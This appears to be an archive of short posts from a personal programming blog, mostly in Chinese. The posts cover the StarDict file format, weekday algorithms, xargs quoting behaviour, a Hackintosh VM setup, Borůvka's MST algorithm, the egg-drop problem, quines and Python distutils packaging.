]]>电子产品简单粗暴一点总是好的，一掰就碎什么的最讨厌了。期待这东西可以在平板上出现。
]]>I always believe recommendations from close friends, or at least acquaintance, act as an important factor in deciding whether a page is good or not. Note that it separates evaluations by friends from those by strangers, to make them more reliable. And you don't have to suffer from those who are making troubles - just don't follow them (Oh, follow is a Twitter term...). And Google Plus made this idea real, ahead of me.
So I never treat Google Plus as a pure social network. I'd be more willing to view it as an attempt to improve search quality. I think several years later there will not be a notice like 'John shared this on example.com' beneath each search result, but instead a row of avatars indicating which of your friends have read this page and thought it's good. It'd be natural to accompany a search result with friends' recommendations, and reserving each line for a friend wastes too much space.
Finally I'd like to point out a disadvantage of Google Plus. You can only +1 a page on the search engine, or using a button provided by the website builder. It would be great if you can +1 any webpage you want. And this is made true by the Firefox plugin Plus One Button. Go to the link below to know the details. I just like this kind of simple and effective tools. I hope one day it will be integrated into Pentadactyl so I don't need to click the icon in the address bar.
Links:
]]>Well, it shocks me...
]]>胡正那个Stardict倒是不错，可惜词典有版权问题，结果在sourceforge上关停了，此人也不知所踪了。
于是心想自己搞搞看吧。找了找Stardict的词典格式，没想到设计得还挺合理的。
每本词典主要由三个文件组成：.ifo/.idx/.dict。
.ifo是词典信息，格式类似配置文件，非常短，包括：词典收录词数，单词索引文件大小，单词释义文件格式定义等等。
.idx是单词索引，格式是这样的：每个单词以null-terminated字符串表示，后跟其释义在释义文件中的offset和length（都是4-byte unsigned int，network byte order）。这样从前往后扫这个.idx，就可以知道所有单词的释义都在释义文件的什么地方。
.dict是单词释义。因为.idx已经为每个单词指定了在.dict中的offset和length，那.dict的格式就比较随意了。不过一般都会设置sametypesequence，这样看上去比较规整。像朗道英汉词典的.dict就是一堆文本。不过也支持其他诸如HTML/MediaWiki，乃至wav等格式的数据。
写了一个可以初步处理朗道英汉词典的程序，得益于良好的格式规范，程序比想象中的简单：
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char ifo[1024];
char idx[1024];
char dict[1024];
int getsize(FILE *fp)
{
int current = ftell(fp);
fseek(fp, 0, SEEK_END);
int size = ftell(fp);
fseek(fp, current, SEEK_SET);
return size;
}
int getvalue(FILE *fp, int offset, int length, char *buf)
{
fseek(fp, offset, SEEK_SET);
fread(buf, length, 1, fp);
buf[length] = 0;
}
int main(int argc, char *argv[])
{
strcpy(ifo, argv[1]);
strcpy(idx, argv[2]);
strcpy(dict, argv[3]);
// open idx file
FILE *fp_idx = fopen(idx, "rb");
int size_idx = getsize(fp_idx);
//printf("%d\n", size_idx);
// open dict file
FILE *fp_dict = fopen(dict, "rb");
// set counter
int cnt = 5;
// pull out each word from idx
char name[512];
char value[4096];
uint offset;
uint length;
int name_ix = 0;
char c;
while (ftell(fp_idx) != size_idx && cnt > 0) {
fread(&c, 1, 1, fp_idx);
if (c != 0) {
name[name_ix++] = c;
} else {
// null-end name
name[name_ix] = 0;
// get offset and length
fread(&offset, sizeof(offset), 1, fp_idx);
fread(&length, sizeof(length), 1, fp_idx);
// correct byte order
offset = htonl(offset);
length = htonl(length);
// get value
getvalue(fp_dict, offset, length, value);
// output result
printf("%s\n", name);
printf("%s\n", value);
// re-initialize
bzero(name, sizeof(name));
name_ix = 0;
cnt--;
}
}
fclose(fp_idx);
fclose(fp_dict);
return 0;
}
既然词典格式这里很容易就搞定了，那么真就可以考虑一下弄个Wikipedia那样的人人皆可编辑的词典了。猜想可能有人做过了，不过我还真没见到特别靠谱的开源且无版权限制的英汉词典。
Links:
]]>最流行的方法是Zeller公式吧：
$$h = \left(q + \left\lfloor\frac{(m+1)26}{10}\right\rfloor + K + \left\lfloor\frac{K}{4}\right\rfloor + \left\lfloor\frac{J}{4}\right\rfloor - 2J\right) \mod 7$$
虽然十几年来一直在用这个东西，知道这个问题一行就能算出来，但还真没有特别仔细想过这个公式是如何推导出来的。大致上我觉得这就是发现了个什么规律然后吻合了。刚才到Wikipedia上扫了一眼，发现还真是如此。个人习惯于把这种方法叫做有限范围内的巧合。好比说你找一个有限长的数列的通项公式，总能找得到的。但是要说公式里的magic number有什么道理，就不是一句话能说清的了。叫一个外人来看，也未必看得懂。再加上这种方法还要把1月和2月当作前一年的13月和14月来算，也不够直接。它唯一的优势就是计算简单，computer-friendly。
历法本来就是人定的。如果为了满足天文现象，只需要定义一年有365天就够了。这是有道理的，因为地球公转一周大致相当于自转365周，客观上你不能改变这个物理规律。为了修正误差再加上点闰年什么的调整到一个合适的精度就可以了。至于一年分成多少个月，每个月多少天，就完全没啥数学道理了。A皇帝上台了，说我是X月出生的，X月就多了一天；B皇帝上台了，说我是Y月出生的，Y月就多了一天；C皇帝上台了，看A和B都不爽，X月和Y月各减一天……如是而已。真要把历法弄得规矩一些的话倒不如分解一下365 = 73 * 5，每年73个月每个月5天多好（当然这样月和星期就合并了，你叫它星期也行）。
所以我们还是来看看别的方法吧。首先你看计算weekday这种事情肯定是先规定某天是星期X，然后算出要计算的日期和该天的日期差再模7.既然每个月多少天都是人定的，那把这种先验列个表格再算就行了。不过等下，先做下下面的命令：
cal 2 1600 cal 2 1700 cal 9 1752
怎么1600和1700年的2月份都是29天呢？1700好像不能被400整除吧？还有，怎么1752年的9月2日之后是9月14日呢？少了11天？
再往前看看会发现x00和1x00年的2月份都是29天。这中间涉及到一个历法的改革：从Julian calendar到Gregorian calendar。粗略地说，原来用的Julian calendar不准，没有400年不闰这一说，因而慢于实际时间。这样到1582年的时候它的春分日和地球公转到春分点的实际时间差了10天。于是教皇Gregory XIII在1582年颁布了Gregorian calendar来修正这一误差，同时砍掉了10天使得历法的时间和实际时间match。问题是教皇的历法遭到了新教国家的抵制。直到1752年才在英国和美国（当时还没建国）实行。这样（从新教国家的角度来看）在1700年之前（包括1700年）的能被100整除的年份的2月都是29天。既然1582年的时候已经慢了10天，1700年的2月29日又慢了一天，那么总共就慢了11天。所以1752年的9月2日之后砍掉11天就追上来了。
嗯，然后这个cal命令就是按照历法改革发生在1752年来算的。
然后我们继续算weekday。为了简单起见我们把日期差拆开。设输入为y年m月d日。先算年差（按每年第一天），再算年内月差（按每月第一天），最后算月内日差。加起来就是了。一年365天，365 = 1 mod 7，所以一个平年相当于一天，一个闰年就再加一天。cal一下知道2001年1月1日是星期一。那么令dy = (y - 2001)，这样dy + dy/4 - dy/100 + dy/400就是年差。为了再简单点，我们不妨用一个假想的，一直使用Gregorian calendar的1年1月1日来算。这样1年1月1日也是星期一，就不用减2001而是减1就可以了。所以年差可以进一步化简为(y - 1) + (y - 1)/4 - (y - 1)/100 + (y - 1)/400。
月差可以查表。1月份第一天和年初第一天当然不差，2月份第一天差31 = 3 mod 7……依此类推，得到mtable[] = {0, 3, 3, 6, 1, 4, 6, 2, 5, 0, 3, 5}。当然如果m >= 3，要判断一下是不是闰年，是的话再加一天。
日差直接加就行了。
这样就算完了。但是有个问题是算月差是还得判断一下是不是闰年，虽然算年差的时候已经用了形似y/4 - y/100 + y/400的式子了。能不能合起来呢？当然可以，我们大可不必让2月份有没有29天影响到其他月份，只要把分隔点选在3月初而不是1月初就行了。如果m < 3，我们就算y年的年差，然后对月差用加法；如果m >= 3，我们就算(y + 1)年的年差，然后对月差用减法。比如算2003年12月8日是星期几，我们就先算2004年的年差，然后减去月差31 % 7 = 3（12月有31天），再加上日差。这样只需要修改一下mtable就行了。修改后的mtable = {0, 3, 2, 5, 0, 3, 5, 1, 4, 6, 2, 4}。在程序执行时只需要先判断m是否小于3，如果是，就令y = y - 1。写成代码就是：
int dow(int y, int m, int d)
{
static int t[] = {0, 3, 2, 5, 0, 3, 5, 1, 4, 6, 2, 4};
y -= m < 3;
return (y + y/4 - y/100 + y/400 + t[m-1] + d) % 7;
}
这就是Sakamoto方法。
Links:
]]>aafm是一个ADB的GTK图形界面。批量复制文件还是挺方便的，不过好像复制目录的时候有点问题。
嗯，其实最方便的是用来浏览设备上的文件，这点GUI貌似比CLI方便一些。
fork了原作者sole的项目，做了一个Arch包：
yaourt -S aafm
即可下载。
Screenshot:
Links:
]]>find命令可以得到待提取文件的列表，但是cp没有递归建立子目录的功能。所有文件cp到一个目录下，就乱了，还可能发生重名文件覆盖。怎么弄呢？
于是想到了tar，所以这样就搞定了（只有一个tar加-v这样只显示一次复制的文件）：
find -name '*.pdf' -print0 | xargs -0 tar -cf - | tar -C /tmp/dst -xvf -
虽说写个脚本也不难，但不依赖第三方脚本而是靠UNIX工具的组合总是好的。
]]>
#!/usr/bin/python
import sys
i = 0
for arg in sys.argv:
print('argv[{}]:{}'.format(i, arg))
i += 1
然后建立两个实验对象，一个命名为original.txt，内容如下：
/tmp/normal /tmp/blank line /tmp/apos /tmp/quot /tmp/backslash
另一个命名为special.txt，内容如下：
/tmp/normal /tmp/blank line /tmp/ap'os /tmp/qu"ot /tmp/back\slash
区别是special.txt含有引号和反斜线，而original.txt不含。
我们先拿original.txt做实验：
cat original.txt | xargs /tmp/showargv.py argv[0]:/tmp/showargv.py argv[1]:/tmp/normal argv[2]:/tmp/blank argv[3]:line argv[4]:/tmp/apos argv[5]:/tmp/quot argv[6]:/tmp/backslash
可以看到空行被无视，空格和换行符作为分隔符（多个空格看作一个），showargv.py只调用了一次。
cat original.txt | xargs -n 1 /tmp/showargv.py argv[0]:/tmp/showargv.py argv[1]:/tmp/normal argv[0]:/tmp/showargv.py argv[1]:/tmp/blank argv[0]:/tmp/showargv.py argv[1]:line argv[0]:/tmp/showargv.py argv[1]:/tmp/apos argv[0]:/tmp/showargv.py argv[1]:/tmp/quot argv[0]:/tmp/showargv.py argv[1]:/tmp/backslash
可以看到-n的作用是指定每次执行时的最大参数个数，相当于把上面那一坨拆成一个一个执行。
cat original.txt | xargs -d '\n' /tmp/showargv.py argv[0]:/tmp/showargv.py argv[1]:/tmp/normal argv[2]:/tmp/blank line argv[3]: argv[4]: argv[5]:/tmp/apos argv[6]:/tmp/quot argv[7]:/tmp/backslash
可以看到-d选项指定分隔符的效果。此时整个输入文件以-d所指定的分隔符分成若干参数。因为没有指定-n，showargv.py只调用一次。
cat original.txt | xargs -L 1 /tmp/showargv.py argv[0]:/tmp/showargv.py argv[1]:/tmp/normal argv[0]:/tmp/showargv.py argv[1]:/tmp/blank argv[2]:line argv[0]:/tmp/showargv.py argv[1]:/tmp/apos argv[0]:/tmp/showargv.py argv[1]:/tmp/quot argv[0]:/tmp/showargv.py argv[1]:/tmp/backslash
可以看到-L的效果是指定每次最多执行几行（这里是1；空行被无视）。行尾的空格意味着连接到下一行（这里没有实验，请自行验证）。
cat original.txt | xargs -I {} /tmp/showargv.py {}
argv[0]:/tmp/showargv.py
argv[1]:/tmp/normal
argv[0]:/tmp/showargv.py
argv[1]:/tmp/blank line
argv[0]:/tmp/showargv.py
argv[1]:/tmp/apos
argv[0]:/tmp/showargv.py
argv[1]:/tmp/quot
argv[0]:/tmp/showargv.py
argv[1]:/tmp/backslash
注意-I与-L 1的区别。-I蕴含了-L 1，但-I还有一个作用是取消空格的终止作用，所以blank line被看成了一个参数。
然后我们用special.txt来试试看：
cat special.txt | xargs /tmp/showargv.py xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option argv[0]:/tmp/showargv.py argv[1]:/tmp/normal argv[2]:/tmp/blank argv[3]:line
出错了！有个没配对的单引号。什么选项都不加的时候，引号和反斜线是有特殊含义的，就像bash里一样。
cat special.txt | xargs -d '\n' /tmp/showargv.py argv[0]:/tmp/showargv.py argv[1]:/tmp/normal argv[2]:/tmp/blank line argv[3]: argv[4]: argv[5]:/tmp/ap'os argv[6]:/tmp/qu"ot argv[7]:/tmp/back\slash
加上-d之后就好了。这是因为-d还有个作用是禁止引号和反斜线的特殊含义，也就是说现在引号和反斜线都是普通字符了(literally)。同理，-0也有这个作用。
可是-d还有一个副作用：空行不再被忽略了。这个暂时还没有办法，只能事先sed过滤一下了。
cat special.txt | xargs -I {} /tmp/showargv.py {}
argv[0]:/tmp/showargv.py
argv[1]:/tmp/normal
xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option
argv[0]:/tmp/showargv.py
argv[1]:/tmp/blank line
而-I在遇到引号的时候可耻地失败了，可见-I并没有禁止字符特殊含义的作用。
总结：
于是感觉xargs的设计还是有点乱：
拿上面那个special.txt来说。假设每个非空行表示一个文件，引号和反斜线表示字面意义，而我想对每个文件执行execute <file> 12345。一般来说我们需要用到-I选项，因为不能保证文件里的输入总是最后一个参数（例如这里）。那么命令行应该是：
cat special.txt | sed '/^$/d' | xargs -d '\n' -I {} execute {} 12345
所以……我真是想重写xargs啊！但是重写了就未必兼容POSIX了，所以这活还是应该由GNU来做吧？我先用-0将就一下好了，反正绝大多数时间都是和find在一起用的。
]]>更残的是没有USB Mass Storage了，取而代之的是个MTP，用mtp-detect还出错（只在USB刚接上的那几秒可以成功），mtpfs显然也不能用。不过在Win上是正常的。
于是果断root之后刷了个ROM，改了一下wpa_supplicant，顿时觉得：升值了！
Honeycomb好像没有内置的OpenVPN支持，于是又要用到原来的那两个程序了。openvpn-settings有个不断提示的bug，幸而有人已经fix了。
于是终于不用坐在笔记本前看paper了，这老人腰可以好好休息一下了。
嗯，弄过之后的GT值得推荐，很薄，而且屏幕超好，速度也不错。
Links:
Links:
]]>
If you examine how they are used in our lives, you'll find computers often have Standard-A receptacles, which means they'd like to receive Standard-A plugs. And keyboards and mice often have Standard-A plugs, making them suitable for a computer.
However, removable disks and printers often have Standard-B receptacles. And we usually connect them to the computer using a wire with two different ends: one with Standard-A plug (to connect to computer) and the other with Standard-B plug (to connect to removable disks/printers).
So why do we introduce two types of USB connectors? The answer is to prevent an electrical loop. Modern computers usually have more than one USB receptacles. If we use a wire with two Standard-A plugs, we may accidentally connect two USB receptacles on the computer, which is not a good idea...
As established by usage, Standard-A plugs are often connected to downstream receptacles (on computers), where the connection is meant to be permanent. Standard-B plugs are often connected to upstream receptacles (on devices), where the connection is removable.
Another interesting fact is that the data connectors are recessed in a Standard-A plug as compared to the outside power connectors, so that a device gets power earlier than data. To fully utilize this feature, you can only partially insert the plug so that the device gets only power but not data connection. Sometimes this is useful as some stupid MP3 player will get into file transfer mode and stop playing when the plug is fully inserted.
Links:
]]>基本的过程大同小异，只是从iATKOS v7改成了iATKOS L1。
首先用VirtualBox建立VM的时候要选Mac OS X Server (64 bit)。我也不知道为啥，也许iATKOS L1这个系统就是64位的。
然后设置分辨率的时候会出点问题。在Leopard中我们改的是/Library/Preferences/SystemConfiguration/com.apple.Boot.plist。这个文件后来似乎变成了/Extra/com.apple.Boot.plist。但是Lion下还是没有这个文件，而是有个/Extra/org.chameleon.boot.plist，猜测是改名了。碰巧搜索到了这个issue帖：http://forge.voodooprojects.org/p/chameleon/issues/131/，证实了这一点。
剩下的设置就一样了。上图：
置底链接里有一些不错的东西，可以看看。
Links:
]]>Darwin = XNU + utilities
XNU = Mach + BSD + I/O Kit
Darwin是个CLI操作系统，XNU是这个系统的内核。
XNU中，Mach负责最底层的服务，像multi-tasking/IPC之类；BSD负责TCP/IP协议栈和VFS等。I/O Kit是个硬件抽象，方便程序员写驱动。
哦，XNU虽然based on Mach，但是是个monolithic kernel。好像是把Mach开发者们从BSD代码中重新实现的一些部分又undo回去了。这个日后再研究下。最后看图说话：
Links:
]]>Host - ArchLinux
Guest - iATKOS v7 (Leopard)
因为是改版Mac，也就不要那个empireEFI了。喜欢原版的自己Google一下吧。安装之前先看CPU支持VT-x不，方法是
grep vmx /proc/cpuinfo
flags里有vmx就OK了。重启，到BIOS把VT-x打开就行了。
VirtualBox里开个新VM，设置如下：
然后把下载的ISO挂到光驱上，从光驱启动就行了。
安装完从硬盘启动即可运行Leopard。如果想改分辨率，Arch下设置
VBoxManage setextradata "mac" "CustomVideoMode1" "1280x800x32"
mac是虚拟机的名称，改成自己的。
Leopard下在/Library/Preferences/SystemConfiguration/com.apple.Boot.plist文件加上
<key>Graphics Mode</key> <string>1280x800x32@60</string>
32是位深，60是刷新率。同样，所有参数改成自己的。
嗯差不多就这么多，过一阵儿弄个Lion试试。
Links:
]]>嗯，K.I.S.S.患者非常讨厌水文。
Links:
]]>
R.I.P. - Dennis MacAlistair Ritchie
]]>一天，鬼谷子随意从2~99中选取了两个数。他把这两个数的和告诉了庞涓，把这两个数的乘积告诉了孙膑。但孙膑和庞涓彼此不知到对方得到的数。第二天，庞涓很有自信地对孙膑说：虽然我不知到这两个数是什麽，但我知道你一定也不知道。随后，孙膑说：那我知道了。庞涓说：那我也知道了。
问题是求这两个数各是多少。
既然两人往来了三轮，那就一轮一轮地看。
有两种方法可以解决Round 1：分析或暴力。不妨设庞涓拿到的和是S，孙膑拿到的积是P（正好和姓氏反了……）。
庞涓既然不知道两个数是什么，那S必然不是4或198。所以S的范围是[5, 197]。
庞涓可以根据自己手中的S，猜出孙膑手中的P的所有可能值。设这些可能值构成了集合SET_S。既然庞涓能肯定孙膑猜不出来，那对于SET_S中的任何值，必然有不只一种分解。（对于积，分解指因子分解；对于和，分解指加法拆分。可根据上下文判断。）
如果庞涓手里的S可以分解两个素数，那存在P恰好是这两个素数的乘积的情况，这是孙膑就能判断了，矛盾。所以S必然不能是两个素数的和。这可以推出：
其次，如果庞涓手里的S是一个大于53的奇数，那么有可能P = (S - 53) * 53。注意53是素数，且两个数的范围是[2, 99]。所以这个53必然是单独的一个因子，于是孙膑可以判断，矛盾。故S不能是一个大于53的奇数。
这样一筛，可以知道S的可能取值为{11，17，23，27，29，35，37，47，51，53}，共10个。
所谓暴力美学就是列个表把所有可能的积算一遍，这样就知道哪些积可以有多种分解方法了。然后把[5, 197]轮一遍，对每个数都求出可能的积的集合。若这个集合是有多种分解方法的积的集合的子集就OK，否则就不OK。
孙膑可以进行和我们上面一样的分析，得出S的10个可能值。然后他说他知道了。这说明P的所有分解的和中，有且只有一个在那10个S的可能值里。
这个Round我们暂时不做任何分析，留到Round 3。
庞涓听孙膑说他知道了之后自己也知道了，那说明S的所有分解算出的积中，有且只有一个不在其他9个S的可能值的分解算出的积中。（同时在S的分解的积中和其他9个S的可能值的分解的积中出现的积必定不是P，否则孙膑在Round 2中无法确定。若S的分解算出的积中有多于一个不在其他9个S的可能值的分解算出的积中，则庞涓在Round 3中无法确定。）
于是我们把这10个S的可能值中的每一个对应的积都算出来，这就是10个集合。然后看哪个集合恰好有一个元素不在其余9个集合的并集里，那这个元素就是P，这个集合对应的S的可能值就是S。
blabla说了一通，不知道说没说明白。语言在表达思想方面还是有点无力，机器翻译成别的语言之后就更不知道变成什么样子了。所以还是扔代码吧：
#!/usr/bin/python
from collections import Counter
from math import sqrt
def crange(a, b):
return range(a, b + 1)
def get_prods(s):
prods = set()
for x in crange(2, s // 2):
prods.add(x * (s - x))
return prods
def get_sums(p):
sums = set()
for x in crange(2, int(sqrt(p))):
if p % x == 0:
sums.add(x + p / x)
return sums
def round_one():
prods_cnt = Counter()
for x in crange(2, 99):
for y in crange(x, 99):
prods_cnt[x * y] += 1
prods_rep = set()
for k in prods_cnt.keys():
if prods_cnt[k] > 1:
prods_rep.add(k)
sums = set()
for s in crange(5, 197):
prods = get_prods(s)
ok = True
for p in prods:
if p not in prods_rep:
ok = False
break
if ok:
sums.add(s)
return sums
def round_three():
results = []
sums = round_one()
d = dict()
for s in sums:
prods = get_prods(s)
d[s] = prods
for s in sums:
rest = set()
for s2 in sums:
if s == s2:
continue
rest.update(d[s2])
if len(d[s]) - len(d[s].intersection(rest)) == 1:
results.append([s, d[s].difference(rest).pop()])
return results
def org_nums():
results = round_three()
nums = []
for s, p in results:
a = int((s + sqrt(s * s - 4 * p)) / 2)
b = int((s - sqrt(s * s - 4 * p)) / 2)
nums.append([a, b])
return nums
for a, b in org_nums():
print('a = {}, b = {}'.format(a, b))
]]>安装后如下调整：
个人认为比Tab Mix Plus舒服。
Links:
]]>先看一下根据Köppen climate classification做出的一个分布图：
东部一带可以分为北、中、南、极南四个部分，主要有三种气候类型：
西部一带可以分为北、南两个部分，主要有两种气候类型：
这两种气候的一个差别就是是否有dry summer。Seattle全年下雨，California以艳阳出名，就是这两种气候差别的一个体现。
中西部就比较复杂了，因为有山，所以并不是一个严格的南北分布。这里先介绍气候类型，山的问题下面讨论降水的时候再说。中西部主要有三种气候类型：
Alpine可和中国青海、西藏等地类比，Semi-arid和Desert可和中国新疆、内蒙古的沙漠及其周边地区类比。
全球的气候分布图如下，但部分地区的分类可能与上面的图不同。例如Washington State大部分地区的气候在此图中被分类为Csb而不是Cfb，不过总体上应该是一致的。
气温方面，除了受到高山影响，基本是由纬度分布决定的。分布图如下：
这儿还有个更cool的，动态的。你看东北那一带一会儿蓝一会儿红的就知道啥叫大陆性气候了。
降水方面，东部和西海岸较多，中西部较少。分布图如下：
为什么会有这样的特征呢？因为有高山的影响。可以看出降水较少的中西部地区位于东西两面山脉的封锁之间。东面是Rocky Mountains，西面是Cascade Range和Sierra Nevada。西面的两道山脉看上去连在一起，其实是完全不同的（如下摘自http://vulcan.wr.usgs.gov/LivingWith/VolcanicPast/Places/volcanic_past_cascade_range.html）：
Although the Sierra Nevada and Cascade Range form a nearly continuous barrier along the western edge of the United States, the two ranges really have very little in common. They have been and continue to be formed by quite different geological forces and processes.
所以你看美国的地形还是很奇葩的。
Links:
]]>l='l=%s;print l%%`l`';print l%`l`
然后看到一个PHP quine，和Python的有异曲同工之妙：
<?$a='<?$a=%c%s%c;printf($a,39,$a,39);';printf($a,39,$a,39);
刚想说天下的quine都是一样的，结果发现了这个Bash quine：
#!/bin/cat
吐槽不能。其实也可以弄个语言不管什么输入总是输出a。那么就有一个单字符的quine了……
不过因为没有哪个语言无聊到专门设计quine，shortest quine的长度还真是可以用来评价一个语言的简洁程度。
]]>因为Android 2.x（x是几我忘了……）开始支持内置OpenVPN，原来那种古老的从菜市场下载安装的方法就不必要了。于是顺便贴一个Android上设置OpenVPN的方法（啊，要禁用HMAC……）。
Links:
]]>当然就平时在Wikipedia上闲逛的经验来看，应该不止这一条（例如主页上那图片……）。淡定淡定。
Links:
]]>所以要是哪天你想把一个类的构造函数从有形参变成无形参，也得在把实参去掉时一并记得把括号去掉。
不过从C++转投C多年的用户表示毫无压力。
]]>Links:
]]>基本原理有点像Kruskal又有点像Prim。分成一轮一轮来做，每一轮对每个连通块找到到其他连通块的最小边。然后把所有这些最小边加入MST，并合并相应连通块。直到MST形成。每一轮时间$O(E)$，共$O(\log V)$轮，所以复杂度$O(E \log V)$。
证明依据也是CLRS的Theorem 23.1。但不同的是这里是一坨边同时加进去，也行么？
我们证明，如果边权均不相等，那么MST唯一。
反证。设有两棵MST，$T_1$和$T_2$。将所有边按权重由小到大排序：$e_1, \dots, e_m$。因为$T_1 \neq T_2$，令$e_k$为集合$T_1 \oplus T_2$中权重最小的边，不妨设$e_k = T_2 - T_1$。那么在$T_1$中加上$e_k$的话会形成环。我们claim环中一定有比$e_k$权重大的边。这是因为$T_1$和$T_2$在$(1, \dots, k-1)$范围内都是相同的，而$T_2$中没有环。这样把那个权重比$e_k$大的边去掉后就得到了$T_1' < T_1$，与$T_1$是MST矛盾。
当然也可以看CLRS习题23.1-8。
MST唯一之后就好说了，因为Theorem 23.1说那一坨边中的每一条都在MST里，那就都在这个唯一的MST里，所以一起加进去也没问题了。
至于边权可能相等时，Borůvka's algorithm有什么改进还不清楚。但直接用肯定是不行的。例如一个三角形三边权重相等时可能弄出一个环来。
最后有一个把Borůvka和Prim放在一起的MST算法（估计也需要边权均不相等这个条件但我没有太仔细看）。思路是先来$\Theta(\log \log V)$轮的Borůvka，然后把每个连通块看成super vertex，用Prim。Borůvka每次至少能使连通块的数目减半，所以$\Theta(\log \log V)$轮后连通块数目是$O(V / \log V)$，花费时间$O(E \log \log V)$。因为Prim复杂度是$O(E + V \log V)$，这里就变成了$O(E + (V / \log V)\log V) = O(E + V)$。所以最后总的复杂度是$O(E \log \log V)$。隐约记得二年级时讲的，abashed……
Links:
]]>这里投掷次数最少的要求有些模糊，因为投掷次数实际上是一个与临界层有关的向量。我们就把投掷次数定义为最大的那个值吧。
有个14次的答案是这样递归进行的（设楼层高度为n）：
Basic. n=1. 需要且仅仅需要一次。
Induction. 设楼层高度为n时需要f(n)次，则n=k-1时需要f(k-1)次。n=k时从第k层扔下一个玻璃球。如果碎了，剩下的一个从第一层向上试验。如果没碎，用n=k-1的情况归纳。这样有关系式f(k)=(k-1)+1+f(k-1)=f(k-1)+k。
不难算出，f(k)=(1+k)k/2。令f(k)不小于100，得出k最小为14。
Update. 感谢一楼。我SB了。其实这就是个简单的动态规划。不妨generalize一下考虑最优策略f对付i个玻璃球j层楼的情况。特别地，考虑最优策略第一次投掷，设是从第w层发出的。无非两种情况：碎了或者没碎。
因为要找最坏情况那就得用比较大的那个来转移，也就是max{f(i-1, w-1), f(i, j-w)}+1次（因为第一次也要算进去）。当然w是你选的，当然希望好一点，所以再对1 <= w <= j取个min就行了。
显然$i \geq \lceil \log_2 (n+1) \rceil + 1$的时候再大就没用了。所以如果是m个玻璃球n层楼的话复杂度就是$O(n^2 \log n)$。
当时SB之处就在于一下没想明白这方法为啥是最优的，总感觉里面有点对手法的意思。
然后后来居然看到一个zcg搞OI时候的一个论文就讲这个玩意儿，找找规律搞一搞，比如说楼层少点总不会更坏啊，多一层楼最多也就多一次啊，这样优化啊优化啊到最后换一个DP函数居然优化出一个$O(\sqrt{n})$的方法来。大牛就是V5，按年级算那时好像还是高一不是……
嗯，不过其实好像还是不能证明$O(\sqrt{n})$是紧的。当初看到一个算法就想怎么证明它是紧的，后来才发现这好像不比P = NP或者P != NP简单，不然随便找个NPC试一下就行了。对于那些不是NPC的问题呢？总觉得好像也没看到过多少算法证明是紧的，大多都是给个上界。想这东西想得烦死了，谁能给我几个例子就好了。
]]>Links:
]]>记谱时的a/b（如2/4）表示以b分音符为一拍（即一个全音符为b拍），每小节a拍。
按理说把b从4改成8速度应该变慢才是。结果反而变快了……
这是因为水果的OPTIONS -> Project general settings里的bar和beat是这样的（设bar为a，beat为b）：bar=a和记谱法里的一样，表示每小节a拍；而beat=b表示每拍分成多少小格。小格就是Pattern上的一个小点，也是Piano roll里的最小分度。Piano roll上面的数字表示小节，用较粗的线分开；次粗的线表示节拍，最细的线就表示小格。
于是增大beat，每小格时值变短了，小格数没变，相当于音符时值变短了，所以就快了。
所以，拿到一个乐谱，只需要把bar的值设置成一样的。为了方便编辑，beat的值可以这样设定：设乐谱中以b分音符为一拍，最小分度音符是c分音符，那么beat的值设为c/b。这样一个小格对应一个乐谱的最小分度（即c分音符）。
忘了说，每个Pattern可以指定自己的bar值，会局部覆盖Project general settings的全局设定。
水果的beat是按照每拍分几段这样定义的，没有几分音符的概念。这一点一定切记切记。
]]>当然，如果需要也可以创建二进制包，最后说。
Python中有两种module：pure Python module和extension module。pure Python module就是用Python写的.py文件，extension module就是用C/C++写的动态链接库，一般是.so文件。
许多module按目录层级放在一起，构成一个大包，叫package。每个目录下都有__init__.py文件说明该package中包含的内容。
setup.py长什么样子呢？先看个例子：
#!/usr/bin/env python2
from distutils.core import setup
setup(name='Distutils',
version='1.0',
description='Python Distribution Utilities',
author='Greg Ward',
author_email='gward@python.net',
url='http://www.python.org/sigs/distutils-sig/',
packages=['distutils', 'distutils.command'],
)
很简单吧。然后创建源代码包只需要运行
python2 ./setup.py sdist
这是一个按package发布的配置，我们从更基本的module说起。以下我们假设setup.py放在代码的根目录。
发布pure Python module
如果setup.py当前目录下有mod1.py文件和pkg/mod2.py文件，那么setup.py可以这样写：
py_modules = ['mod1', 'pkg.mod2']
表示我们要发布两个modules，一个是mod1，另一个是pkg.mod2。那么setup.py到什么地方去找对应的文件呢？从setup.py当前目录开始，把.换成/就是文件路径。
如果mod2.py不在pkg目录下而在pkg3目录下，但我们还想打成pkg.mod2这个module呢？用package_dir指定包所在路径：
package_dir = {'pkg': 'pkg3'}
同理，如果mod1.py不在setup.py当前目录下而在root4目录下，那么也要用package_dir指定路径。因为没有包名（以下我们假想setup.py所在目录是一个包，叫root package），键值为空字符串：
package_dir = {'': 'root4', 'pkg': 'pkg3'}
然后，我们把mod2.py再放回到pkg目录下，并且不再在setup.py中指定pkg包的路径：
package_dir = {'': 'root4'}
会发现mod2发布失败了。因为我们定义了root package的路径，因为所有包都以root package为前缀，所以会自动按root package定义的路径向下去找，除非另行指定。所以setup.py会去找root4/pkg/mod2.py，当然找不到。
最后说明，py_modules的py_前缀特指这是一个pure Python module。
pure Python module按照package发布
上面我们说了如何按照modules发布。当然也可以按照packages发布。例如要发布pkg目录及其下所有内容作为一个包pkg，只需：
packages = ['pkg']
如果包pkg的路径不是pkg，仍然可以用package_dir修改：
package_dir = {'pkg': 'pkg3'}
发布extension module
distutils可以自动对extension module的C/C++源代码进行编译链接。为了发布一个extension module，我们建立一个Extension对象：
Extension('foo', ['src/foo1.c', 'src/foo2.c'])
一个名为foo的extension module，用两个C文件编译而成。写在setup.py里就是：
ext_modules = [Extension('foo': ['src/foo1.c', 'src/foo2.c'])]
当然ext_modules可以包含多个Extension，只是这里只写了一个。
ext_前缀说明是extension module/package，是和py_前缀对照的。
如果有多个Extension要打在同一个包内，可以用ext_package指定包名：
ext_package = 'pkg'
就把foo打成pkg.foo了。
extension module发布参数
因为发布extension module要编译链接，麻烦事会比较多，例如指定头文件目录、动态链接库什么的。幸好都可以当成Extension的构造参数来指定：
Extension('foo', ['foo.c'], define_macros=[('NDEBUG', 1)], undef_macros=['HAVE_FOO'], \
include_dirs=['include'], libraries=['gdbm', 'readline'], library_dirs=['/usr/X11R6/lib'])
安装脚本
有时我们希望我们发布的包可以包含可执行文件，这可以用scripts来指定：
setup(...,
scripts = ['scripts/xmlproc_parse', 'scrips/xmlproc_val'],
)
至于这些脚本被安装到了什么地方去，在用setup.py进行安装时会说。
安装包内数据
